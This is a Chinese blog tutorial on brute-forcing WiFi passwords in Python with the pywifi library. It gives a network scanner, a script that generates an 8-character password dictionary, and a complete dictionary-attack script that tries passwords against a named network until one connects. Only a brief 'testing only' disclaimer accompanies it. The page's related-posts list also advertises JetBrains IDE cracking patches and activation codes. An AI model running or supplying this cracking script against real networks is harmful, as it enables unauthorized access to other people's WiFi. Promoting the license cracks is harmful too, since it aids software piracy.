Python简易WiFi密码破解轻松方案

Python简易WiFi密码破解简易方案

前言

基于对无线网络相关技术的探索,我们可以通过Python来实现简易的WiFi密码破解操作。

实验步骤

利用命令行安装pywifi模块

在命令行中执行以下命令安装pywifi模块:

pip install pywifi

查看pip是否安装成功,执行:

pip -V

一、扫描WiFi模块

通过Python代码来实现WiFi扫描功能,代码如下:

import pywifi
import time

# 初始化pywifi
wifi = pywifi.PyWiFi()

# 获取第一个无线网卡接口
interface = wifi.interfaces()[0]

# 开始扫描
interface.scan()
print('正在扫描WiFi,请稍等………………')

# 等待扫描完成
time.sleep(10)  # 可根据实际情况调整等待时间以确保扫描完成

# 获取扫描结果
scan_results = interface.scan_results()

# 打印扫描结果
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))

index = 0
for result in scan_results:
    # 处理SSID乱码问题
    ssid = result.ssid.encode('raw_unicode_escape').decode('utf-8')
    signal = result.signal
    print('%s\t\t\t%s\t\t\t%s' % (index, signal, ssid))
    index += 1

print('\n' + '*' * 50)

二、爆破字典

1. 生成字典

自己生成密码字典不建议(大约有100G左右,生成时间较长),以下是生成字典的脚本示例:

import itertools as its
import datetime

# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'  # 包含大小写字母和数字的组合
# words = '0123456789' # 纯数字组合
# 生成密码的位数
r = its.product(words, repeat=8)  # 这里生成8位密码,通常热点密码为8位
dic = open(r"C:\Users\11759\Desktop\alphabetPass.txt", 'a')  # alphabetPass.txt为密码本名称
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成完毕')
end = datetime.datetime.now()
print("生成密码本总共花费时间:{}".format(end - start))
2. 下载字典

可通过以下途径下载字典:
- 迅雷下载
- Gitee下载

三、爆破脚本

以下是爆破脚本,其中已对需要修改的部分进行注释:

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime

# 全局初始化,避免重复创建实例
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] if wifi.interfaces() else None


def wifi_connect(pwd):
    if not iface:
        print("未找到无线网卡!")
        return False

    # 断开当前连接
    iface.disconnect()
    time.sleep(1)

    # 确保网卡处于断开状态
    if iface.status() != const.IFACE_DISCONNECTED:
        print("无法断开当前连接")
        return False

    # 创建新的配置文件
    profile = pywifi.Profile()
    profile.ssid = "iPhone1"  # 请修改为你的WiFi名称
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = pwd.strip()  # 去除密码前后的空格和换行符

    # 清理旧配置
    iface.remove_all_network_profiles()

    try:
        # 添加新配置并尝试连接
        tmp_profile = iface.add_network_profile(profile)
        iface.connect(tmp_profile)

        # 增加连接等待时间(可根据网络响应调整)
        time.sleep(5)

        return iface.status() == const.IFACE_CONNECTED
    except Exception as e:
        print(f"连接时发生异常: {e}")
        return False


def read_password():
    print("开始破解...")
    path = r"C:\Users\Administrator\Desktop\py项目\WiFi爆破\wpa-dictionary-master\common.txt"  # 请修改为你字典所在位置

    try:
        with open(path, "r") as f:
            passwords = [line.strip() for line in f.readlines() if line.strip()]
    except Exception as e:
        print(f"无法读取密码文件: {e}")
        return

    total = len(passwords)
    start_time = datetime.datetime.now()

    for idx, pwd in enumerate(passwords, 1):
        print(f"尝试进度: {idx}/{total} | 当前密码: {pwd}")

        # 增加重试机制
        retry = 0
        while retry < 2:  # 最多重试2次
            if wifi_connect(pwd):
                print(f"\n破解成功!密码为: {pwd}")
                print(f"总耗时: {datetime.datetime.now() - start_time}")
                return
            else:
                retry += 1
                time.sleep(2)  # 失败后等待2秒再重试

    print("\n密码字典无匹配项!")

if __name__ == "__main__":
    read_password()

完整代码及字典可通过以下链接下载:
- 迅雷下载

文章整理自互联网,只做测试使用。发布者:Lomu,转转请注明出处:https://www.it1024doc.com/13605.html

赞 (0)
LomuLomu
上一篇 2025 年 9 月 18 日
下一篇 2025 年 9 月 18 日

相关推荐

  • manim边做边学–动画组合

    动画组合类的作用是将多个动画组合起来,以实现更复杂的动画效果。 Manim中有4个 用于动画组合的类: AnimationGroup:将多个动画组合在一起同时播放,能一次性呈现多个对象的不同变化 LaggedStart:按照添加顺序依次启动多个动画,每个动画间有延迟,使动画呈现出清晰的先后顺序 LaggedStartMap:对一组对象应用相同动画,并按顺序逐…

    2025 年 1 月 10 日
    79300
  • 永久pycharm激活码合集下载+最新pycharm破解同步

    申明:本教程 PyCharm破解补丁、激活码均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。若条件允许,希望大家购买正版 ! PyCharm是 JetBrains 推出的开发编辑器,功能强大,适用于 Windows、Mac 和 Linux 系统。本文将详细介绍如何通过破解补丁实现永久激活,解锁所有高级功能。 不管你是什么版本、什么操作系统…

    PyCharm激活码 2025 年 12 月 21 日
    38300
  • IntelliJ IDEA最新激活码,适配2025.3

    申明:本教程 IntelliJ IDEA 破解补丁、激活码均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。若条件允许,希望大家购买正版 ! IDEA是 JetBrains 推出的开发编辑器,功能强大,适用于 Windows、Mac 和 Linux 系统。本文将详细介绍如何通过破解补丁实现永久激活,解锁所有高级功能。 不管你是什么版本、什么…

    IDEA破解教程 2026 年 1 月 25 日
    36200
  • 🚀 2025年最新IDEA激活码 & 永久破解教程(支持JetBrains全家桶)🔥

    大家好!今天给大家带来一篇超详细的 IDEA破解教程,适用于 IDEA、PyCharm、DataGrip、GoLand 等JetBrains全家桶软件!🎉 废话不多说,先上最新 IDEA 2024.3.5 版本破解成功的截图,可以看到已经成功破解到 2099年,简直不要太爽!😎 接下来,我将通过 图文并茂 的方式,手把手教你如何激活IDEA至2099年。这个…

    2025 年 6 月 3 日
    1.2K00
  • 2026年IDEA破解教程更新,旧方法已失效

    本教程适用于IDEA、PyCharm、DataGrip、Goland等JetBrains全系列产品! 话不多说,先展示最新版IDEA成功激活的截图。如图所示,软件已顺利破解至2099年,使用无忧! 接下来,我将通过详细的图文步骤,手把手教你如何将IDEA激活至2099年。 此激活方法同样兼容以往的旧版本! 无论你使用何种操作系统或软件版本,这里都已为你准备好…

    IDEA破解教程 2026 年 5 月 20 日
    70100

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信